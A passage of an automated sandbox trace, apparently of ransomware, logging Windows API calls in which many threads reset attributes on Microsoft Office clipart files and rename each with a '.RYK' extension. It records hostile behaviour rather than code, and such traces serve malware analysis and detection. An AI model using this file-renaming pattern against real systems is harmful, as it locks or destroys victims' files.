	[0204.360] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1750
	os_tid = 0x2130

	[0204.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF", dwFileAttributes=0x80) returned 0
	[0204.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0204.362] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0204.363] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1751
	os_tid = 0x2134

	[0204.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF", dwFileAttributes=0x80) returned 0
	[0204.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0204.365] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0204.365] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1752
	os_tid = 0x2138

	[0204.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF", dwFileAttributes=0x80) returned 0
	[0204.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0204.730] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0204.730] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1753
	os_tid = 0x213c

	[0204.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF", dwFileAttributes=0x80) returned 0
	[0204.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0204.733] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0204.733] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1754
	os_tid = 0x2140

	[0204.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF", dwFileAttributes=0x80) returned 0
	[0204.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0204.393] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0204.393] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1755
	os_tid = 0x2144

	[0204.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF", dwFileAttributes=0x80) returned 0
	[0204.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0204.395] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0204.396] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1756
	os_tid = 0x2148

	[0204.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF", dwFileAttributes=0x80) returned 0
	[0204.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0204.398] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0204.398] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1757
	os_tid = 0x214c

	[0204.400] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF", dwFileAttributes=0x80) returned 0
	[0204.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0204.735] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0204.735] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1758
	os_tid = 0x2150

	[0204.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF", dwFileAttributes=0x80) returned 0
	[0204.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0204.737] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0204.737] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1759
	os_tid = 0x2154

	[0204.403] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF", dwFileAttributes=0x80) returned 0
	[0204.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0204.405] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0204.405] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1760
	os_tid = 0x2158

	[0204.907] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF", dwFileAttributes=0x80) returned 0
	[0204.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0204.908] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0204.908] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1766
	os_tid = 0x2170

	[0204.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF", dwFileAttributes=0x80) returned 0
	[0204.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0204.910] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0204.910] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1767
	os_tid = 0x2174

	[0204.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF", dwFileAttributes=0x80) returned 0
	[0204.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0204.912] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0204.913] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1768
	os_tid = 0x2178

	[0204.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF", dwFileAttributes=0x80) returned 0
	[0205.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0205.589] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0205.589] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1769
	os_tid = 0x217c

	[0204.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF", dwFileAttributes=0x80) returned 0
	[0205.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0205.588] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0205.588] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1770
	os_tid = 0x2180

	[0204.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF", dwFileAttributes=0x80) returned 0
	[0205.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0205.586] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0205.587] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1771
	os_tid = 0x2184

	[0204.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF", dwFileAttributes=0x80) returned 0
	[0205.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0205.585] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0205.585] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1772
	os_tid = 0x2188

	[0204.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF", dwFileAttributes=0x80) returned 0
	[0205.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0205.583] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0205.583] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1773
	os_tid = 0x218c

	[0204.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF", dwFileAttributes=0x80) returned 0
	[0205.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0205.280] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0205.281] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1774
	os_tid = 0x2190

	[0204.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF", dwFileAttributes=0x80) returned 0
	[0204.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0204.924] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0204.924] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1775
	os_tid = 0x2194

	[0205.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF", dwFileAttributes=0x80) returned 0
	[0205.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0205.283] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0205.283] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1783
	os_tid = 0x21cc

	[0205.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID", dwFileAttributes=0x80) returned 0
	[0205.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0205.285] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0205.285] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1784
	os_tid = 0x21d0

	[0205.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF", dwFileAttributes=0x80) returned 0
	[0205.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.029] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.030] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1785
	os_tid = 0x21d4

	[0205.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF", dwFileAttributes=0x80) returned 0
	[0205.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0205.289] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0205.290] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1786
	os_tid = 0x21d8

	[0205.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF", dwFileAttributes=0x80) returned 0
	[0205.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.026] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.027] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1787
	os_tid = 0x21dc

	[0205.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF", dwFileAttributes=0x80) returned 0
